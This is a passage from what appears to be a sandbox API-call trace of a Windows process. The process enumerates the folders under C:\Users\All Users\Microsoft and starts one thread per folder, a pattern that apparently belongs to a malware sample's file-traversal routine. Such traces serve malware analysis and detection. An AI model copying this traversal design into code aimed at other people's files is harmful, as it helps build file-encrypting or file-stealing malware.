[0062.903] wcscat (in: _Dest=0x33fa3c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0062.903] wcscat (in: _Dest=0x33fa3c8, _Source="AppV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV") returned="C:\\Users\\All Users\\Microsoft\\AppV" [0067.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fa3c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0067.098] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0067.098] wcscmp (_String1="ClickToRun", _String2=".") returned 1 [0067.098] wcscmp (_String1="ClickToRun", _String2="..") returned 1 [0067.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430c28 [0067.098] wcscpy (in: _Dest=0x3430c28, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.098] wcscat (in: _Dest=0x3430c28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.098] wcscat (in: _Dest=0x3430c28, _Source="ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0067.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430c28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0067.105] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0067.105] wcscmp (_String1="Crypto", _String2=".") returned 1 [0067.105] wcscmp (_String1="Crypto", _String2="..") returned 1 [0067.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3480df8 [0067.106] wcscpy (in: _Dest=0x3480df8, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.106] wcscat (in: _Dest=0x3480df8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.106] wcscat (in: _Dest=0x3480df8, _Source="Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0067.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3480df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0067.107] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1 [0067.107] wcscmp (_String1="DataMart", _String2=".") returned 1 [0067.107] wcscmp (_String1="DataMart", _String2="..") returned 1 [0067.107] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430e38 [0067.107] wcscpy (in: _Dest=0x3430e38, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.107] wcscat (in: _Dest=0x3430e38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.107] wcscat (in: _Dest=0x3430e38, _Source="DataMart" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart") returned="C:\\Users\\All Users\\Microsoft\\DataMart" [0067.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430e38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0067.108] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0067.108] wcscmp (_String1="Device Stage", _String2=".") returned 1 [0067.108] wcscmp (_String1="Device Stage", _String2="..") returned 1 [0067.108] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481d98 [0067.108] wcscpy (in: _Dest=0x3481d98, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.108] wcscat (in: _Dest=0x3481d98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.108] wcscat (in: _Dest=0x3481d98, _Source="Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0067.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3481d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0067.109] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0067.109] wcscmp (_String1="DeviceSync", _String2=".") returned 1 [0067.109] wcscmp (_String1="DeviceSync", _String2="..") returned 1 [0067.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430f40 [0067.109] wcscpy (in: _Dest=0x3430f40, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.109] wcscat (in: _Dest=0x3430f40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.109] wcscat (in: _Dest=0x3430f40, _Source="DeviceSync" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync" [0067.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4 [0067.110] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0067.110] wcscmp (_String1="Diagnosis", _String2=".") returned 1 [0067.110] wcscmp (_String1="Diagnosis", _String2="..") returned 1 [0067.110] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430910 [0067.110] wcscpy (in: _Dest=0x3430910, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.110] wcscat (in: _Dest=0x3430910, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.110] wcscat (in: _Dest=0x3430910, _Source="Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0067.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0067.111] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0067.111] wcscmp (_String1="DRM", _String2=".") returned 1 [0067.111] wcscmp (_String1="DRM", _String2="..") returned 1 [0067.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x3480e48 [0067.111] wcscpy (in: _Dest=0x3480e48, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.111] wcscat (in: _Dest=0x3480e48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.112] wcscat (in: _Dest=0x3480e48, _Source="DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0067.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3480e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0067.112] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0x40368daa, ftLastWriteTime.dwHighDateTime=0x1d39f5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0067.112] wcscmp (_String1="Event Viewer", _String2=".") returned 1 [0067.112] wcscmp (_String1="Event Viewer", _String2="..") returned 1 [0067.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3482158 [0067.113] wcscpy (in: _Dest=0x3482158, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.113] wcscat (in: _Dest=0x3482158, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.113] wcscat (in: _Dest=0x3482158, _Source="Event Viewer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0067.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3482158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0067.113] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0067.113] wcscmp (_String1="IdentityCRL", _String2=".") returned 1 [0067.114] wcscmp (_String1="IdentityCRL", _String2="..") returned 1 [0067.114] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481d38 [0067.114] wcscpy (in: _Dest=0x3481d38, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.114] wcscat (in: _Dest=0x3481d38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.114] wcscat (in: _Dest=0x3481d38, _Source="IdentityCRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0067.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3481d38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0067.114] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1 [0067.115] wcscmp (_String1="MapData", _String2=".") returned 1 [0067.115] wcscmp (_String1="MapData", _String2="..") returned 1 [0067.115] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3430968 [0067.115] wcscpy (in: _Dest=0x3430968, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.115] wcscat (in: _Dest=0x3430968, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.115] wcscat (in: _Dest=0x3430968, _Source="MapData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MapData") returned="C:\\Users\\All Users\\Microsoft\\MapData" [0067.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0067.129] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0067.130] wcscmp (_String1="MF", _String2=".") returned 1 [0067.130] wcscmp (_String1="MF", _String2="..") returned 1 [0067.130] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0067.130] wcscpy (in: _Dest=0x33fcff8, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.130] wcscat (in: _Dest=0x33fcff8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.130] wcscat (in: _Dest=0x33fcff8, _Source="MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0067.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fcff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0067.131] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0067.131] wcscmp (_String1="NetFramework", _String2=".") returned 1 [0067.131] wcscmp (_String1="NetFramework", _String2="..") returned 1 [0067.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3482098 [0067.131] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.131] wcscat (in: _Dest=0x3482098, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.131] wcscat (in: _Dest=0x3482098, _Source="NetFramework" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0067.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3482098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0067.132] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0067.132] wcscmp (_String1="Network", _String2=".") returned 1 [0067.132] wcscmp (_String1="Network", _String2="..") returned 1 [0067.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x34310a0 [0067.132] wcscpy (in: _Dest=0x34310a0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0067.132] wcscat (in: _Dest=0x34310a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0067.132] wcscat (in: _Dest=0x34310a0, _Source="Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0067.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34310a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0067.133] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0067.133] wcscmp (_String1="Office", _String2=".") returned 1 [0067.133] wcscmp (_String1="Office", _String2="..") returned 1 [0067.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3480e98 [0068.982] wcscpy (in: _Dest=0x3480e98, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0068.982] wcscat (in: _Dest=0x3480e98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0068.982] wcscat (in: _Dest=0x3480e98, _Source="Office" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office") returned="C:\\Users\\All Users\\Microsoft\\Office" [0070.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3480e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0070.490] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0070.490] wcscmp (_String1="Provisioning", _String2=".") returned 1 [0070.490] wcscmp (_String1="Provisioning", _String2="..") returned 1 [0070.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x34801e0 [0070.490] wcscpy (in: _Dest=0x34801e0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.490] wcscat (in: _Dest=0x34801e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.490] wcscat (in: _Dest=0x34801e0, _Source="Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0070.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34801e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0070.491] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0070.491] wcscmp (_String1="Search", _String2=".") returned 1 [0070.491] wcscmp (_String1="Search", _String2="..") returned 1 [0070.491] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x341bd00 [0070.491] wcscpy (in: _Dest=0x341bd00, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.491] wcscat (in: _Dest=0x341bd00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.491] wcscat (in: _Dest=0x341bd00, _Source="Search" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search" [0070.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x341bd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0070.492] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0070.492] wcscmp (_String1="Settings", _String2=".") returned 1 [0070.492] wcscmp (_String1="Settings", _String2="..") returned 1 [0070.492] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430d88 [0070.492] wcscpy (in: _Dest=0x3430d88, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.492] wcscat (in: _Dest=0x3430d88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0070.492] wcscat (in: _Dest=0x3430d88, _Source="Settings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings") returned="C:\\Users\\All Users\\Microsoft\\Settings" [0070.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0070.493] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1 [0070.493] wcscmp (_String1="SmsRouter", _String2=".") returned 1 [0070.493] wcscmp (_String1="SmsRouter", _String2="..") returned 1 [0070.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430f98 [0070.493] wcscpy (in: _Dest=0x3430f98, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0070.493] wcscat (in: _Dest=0x3430f98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All 